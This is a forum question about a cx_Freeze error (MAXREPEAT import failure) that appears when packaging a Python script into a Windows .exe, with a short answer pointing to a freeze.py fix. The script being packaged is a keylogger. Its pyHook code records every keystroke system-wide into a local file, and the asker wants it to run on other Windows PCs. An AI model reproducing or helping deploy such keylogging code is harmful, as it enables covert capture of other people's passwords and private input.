cx_Freeze program created from python won't run - python-3.3

I am trying to create a .exe version of a python keylogger program that I found on the internet, so it can be run on Windows pc's without python installed.
The code for the program as is follows:
import pythoncom, pyHook, sys, logging
LOG_FILENAME = 'C:\\important\\file.txt'
def Key_Press(Char):
logging.basicConfig(filename=LOG_FILENAME,level=logging.DEBUG,format='%(message)s')
if Char.Ascii==27:
logging.log(10,'ESC')
elif Char.Ascii==8:
logging.log(10,'BACKSPACE'
else:
logging.log(10,chr(Char.Ascii))
if chr(Char.Ascii)=='¬':
exit()
return True
hm=pyHook.HookManager()
hm.KeyDown=Key_Press
hm.HookKeyboard()
pythoncom.PumpMessages()
After the .exe file has been created using the build function of cx_Freeze, the following error occurs in a separate error box when I run the file:
Cannot import traceback module
Exception: cannot import name MAXREPEAT
Original Exception: cannot import name MAXREPEAT
I don't have much knowledge of cx_Freeze at all, and would very much appreciate any help, as even when I have tried using simple programs such as a hello_world.py program, the .exe file doesn't appear to work.

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You can fix this by appending one line of code to freeze.py in your cx_Freeze package.
It is described here:
http://www.mail-archive.com/cx-freeze-users#lists.sourceforge.net/msg00212.html
It worked for me at least :)
Cheers,
Almar
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